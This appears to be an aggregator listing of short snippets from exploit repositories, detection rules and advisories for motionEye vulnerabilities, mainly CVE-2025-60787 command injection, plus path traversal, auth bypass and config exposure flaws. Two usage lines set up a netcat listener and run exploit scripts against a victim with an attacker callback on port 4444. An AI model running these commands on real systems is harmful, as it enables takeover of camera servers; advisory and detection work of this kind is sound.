CVE-2025-60787_PoC

CVE-2025-60787 - MotionEye RCE RCE authentifiée dans MotionEye = 0.43.1b4 via un contournement de la validation côté client sur le champ imagefilename. Utilisation root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 Options...

motioneye-authenticated-RCE

MotionEye/MotionEyeOS 認証済みRCE MotionEyeにRCEを可能にするtasks.pickleファイルをアップロードするPython 3スクリプトです。管理者資格情報が必要なので、それほど大した問題ではないはずです。残念ながら、MotionEye/MotionEyeOSはデフォルトの資格情報で実行されていることがよくあります。 例: root@kitploit: main.py --victim 192.168.1.2 --attacker 192.168.1.3:4444...

CVE-2025-60787-Detection-motionEye-RCE-via-Config-Injection

README.md Détection de CVE-2025-60787 : RCE dans motionEye par injection de configuration Exécution de code à distance non authentifiée dans motionEye = 0.43.1b4 Aperçu de la vulnérabilité Ce dépôt contient des règles de détection pour CVE-2025-60787 , une vulnérabilité RCE non authentifiée dans...

CVE-2025-60787

CVE-2025-60787 - Авторизованное RCE в motionEye PoC для CVE-2025-60787 — это уязвимость авторизованного удаленного выполнения кода Authenticated RCE в motionEye для всех затронутых версий до 0.43.1b4 включительно. Это автоматизированный PoC для уязвимости, описанной в этом репозитории. Авторство:...

CVE-2025-60787

CVE-2025-60787 - MotionEye RCE MotionEye v0.43.1b4 - Injection de commande OS Un proof-of-concept d'exploitation d'injection de commande OS pour la vulnérabilité dans motionEye, une interface web pour le démon motion. La vulnérabilité exploite le paramètre de configuration imagefilename, qui est...

MotionEye Config Info Disclosure

MotionEye v0.42.1 and below allows attackers to access sensitive information via a GET request to /config/list. To exploit this vulnerability, a regular user password must be unconfigured. id: CVE-2022-25568 info: name: MotionEye Config Info Disclosure author: DhiyaneshDK severity: high...

CVE-2025-60787-POC

CVE-2025-60787 - motionEye Authenticated RCE Аутентифицированное удалённое выполнение кода в motionEye = 0.43.1b4 через несанитизированный параметр конфигурации motion Автор: d3vn0mi Обзор уязвимости...

motionEye-RCE-through-config-parameter

MotionEye RCE via Client-Side Validation Bypass Résumé Lors d'un test de sécurité d'une instance MotionEye exécutée dans Docker, il a été observé que la validation côté client dans l'interface web peut être contournée. Cela permet de soumettre des entrées arbitraires, y compris des charges utiles...

CVE-2025-60787

CVE-2025-60787 — motionEye аутентифицированный RCE Аутентифицированный PoC для инъекции команд в CVE-2025-60787. motionEye v0.43.1b4 и более ранние версии записывают управляемые пользователем значения конфигурации камеры, такие как imagefilename, в конфигурацию Motion без достаточной санитизации,...

CVE-2025-60787-MotionEye-RCE

CVE-2025-60787: Motioneye - Exécution de code à distance RCE Preuve de concept PoC professionnelle pour CVE-2025-60787, une vulnérabilité critique d'exécution de code à distance RCE dans MotionEye versions ≤ 0.43.1b4. Aperçu technique La vulnérabilité provient d'un contournement de validation côt...

PYSEC-2026-2665 motionEye's missing authentication on ActionHandler allows unauthenticated camera action execution

Summary The ActionHandler.post method in motionEye has no authentication decorator, allowing any unauthenticated attacker to trigger camera actions including snapshots, recording start/stop, and configured action scripts PTZ controls, alarm triggers, etc.. Vulnerability Details File:...

PYSEC-2026-2667 motionEye's Absolute Path Traversal in Media File Handlers Allows Arbitrary File Read

Summary mEye contains an absolute path traversal vulnerability in multiple media file handlers that allows an attacker to read arbitrary files from the filesystem. The affected handlers accept a user-controlled filename parameter and construct filesystem paths using os.path.join. When an absolute...

PYSEC-2026-2664 motionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint

Summary motionEye v0.43.1 latest stable is vulnerable to path traversal in the picture and movie API endpoints, like /picture/id/preview/filename. Neither the API handlers, nor the mediafiles.py functions like getmediapreview check for .. sequences in the filename parameter, except getmediaconten...

PYSEC-2026-2666 motionEye's World-Readable Configuration File Exposes Admin Password Hash

Security Advisory: World-Readable Configuration File Exposes Admin Password Hash in motionEye Summary motionEye v0.43.1 and prior versions create the configuration file /etc/motioneye/motion.conf with 644 permissions -rw-r--r--, making it readable by any local user on the system. This file contai...

PYSEC-2026-1680 motionEye vulnerable to RCE via unsanitized motion config parameter

Summary A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution RCE by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization,...

PYSEC-2026-681 Unrestricted Upload of File with Dangerous Type in motionEye

motionEye = 0.42.1 and motioneEyeOS = 20200606 allow a remote attacker to upload a configuration backup file containing a malicious python pickle file. This is possible when an installation is accessible over the Internet and uses no or poor authentication credentials. The GitHub repositories for...

PYSEC-2026-428 motionEye: Authentication possible via password hash

Summary An authentication bypass vulnerability exists due to improper trust in client-controlled cookies. The application accepts user-supplied cookie values containing a username and password-hash-derived value as sufficient authentication material. These cookies can be set or modified prior to...

CVE-2026-32315

motionEye mEye is an online interface for motion software, a video surveillance program with motion detection. Versions prior to 0.44.0 create the configuration file /etc/motioneye/motion.conf with 644 permissions -rw-r--r--, making it readable by any local user on the system. This file contains...

CVE-2026-31978

motionEye mEye is an online interface for motion software, which is a video surveillance program with motion detection. Versions prior to 0.44.0 are vulnerable to path traversal in the picture and movie API endpoints, suhc as /picture/id/preview/filename. Neither the API handlers, nor the...

CVE-2026-32315 motionEye: World-Readable Configuration File Exposes Admin Password Hash

motionEye mEye is an online interface for motion software, a video surveillance program with motion detection. Versions prior to 0.44.0 create the configuration file /etc/motioneye/motion.conf with 644 permissions -rw-r--r--, making it readable by any local user on the system. This file contains...